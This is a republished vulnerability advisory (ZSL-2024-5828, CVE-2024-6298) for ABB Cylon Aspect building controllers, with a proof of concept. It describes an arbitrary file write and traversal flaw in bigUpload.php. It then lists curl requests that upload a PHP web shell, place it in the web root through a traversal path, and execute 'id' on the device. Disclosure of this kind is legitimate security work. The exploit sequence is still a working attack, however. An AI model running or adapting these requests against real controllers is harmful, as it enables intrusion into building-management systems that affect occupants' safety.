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ABB Cylon Aspect 3.08.01 Remote Code Execution

ABB Cylon Aspect version 3.08.01 BMS/BAS controller suffers from a remote code execution vulnerability. The vulnerable uploadFile() function in bigUpload.php improperly reads raw POST data using the php://input wrapper without sufficient validation. This data is passed to the fwrite() function, allowing arbitrary file writes. Combined with an improper sanitization of file paths, this leads to directory traversal, allowing an attacker to upload malicious files to arbitrary locations. Once a malicious file is written to an executable directory, an authenticated attacker can trigger the file to execute code and gain unauthorized access to the building controller.

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ABB Cylon Aspect 3.08.01 (bigUpload.php) Remote Code Execution

Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from a remote code execution
vulnerability. The vulnerable uploadFile() function in bigUpload.php
improperly reads raw POST data using the php://input wrapper without
sufficient validation. This data is passed to the fwrite() function,
allowing arbitrary file writes. Combined with an improper sanitization
of file paths, this leads to directory traversal, allowing an attacker
to upload malicious files to arbitrary locations. Once a malicious file
is written to an executable directory, an authenticated attacker can
trigger the file to execute code and gain unauthorized access to the
building controller.

Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel® Atom™ Processor E3930 @ 1.30GHz
Intel® Xeon® Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2024-5828
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5828.php
CVE ID: CVE-2024-6298
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-6298

21.04.2024

–

$ cat project

             P   R   O   J   E   C   T

                    .|  
                    | |  
                    |'|            ._____  
            ___    |  |            |.   |' .---"|  
    _    .-'   '-. |  |     .--'|  ||   | _|    |  
 .-'|  _.|  |    ||   '-__  |   |  |    ||      |  
 |' | |.    |    ||       | |   |  |    ||      |

____| '-' ' “” '-' '-.’ '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░

                                                                                                           1.

$ curl -X POST “http://192.168.73.31/bigUpload.php?action=upload&key=251” \

-H “Cookie: PHPSESSID=25131337” \
-H “Content-Type: application/x-www-form-urlencoded” \
-d “<?php\r\nif ($_GET[‘j’]) {\r\nsystem($_GET[‘j’]);\r\n}\r\n?>”

$ curl -X POST “http://192.168.73.31/bigUpload.php?action=upload&key=251” \

-H “Cookie: PHPSESSID=25131337” \
–H “Content-Type: application/x-www-form-urlencoded”

$ curl -X POST “http://192.168.73.31/bigUpload.php?action=finish” \

-H “Cookie: PHPSESSID=25131337” \
-H “Content-Type: application/x-www-form-urlencoded” \
-d “key=251&name=…/…/…/…/…/…/…/home/MIX_CMIX/htmlroot/ZSL.php”

$ curl http://192.168.73.31/ZSL.php?j=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

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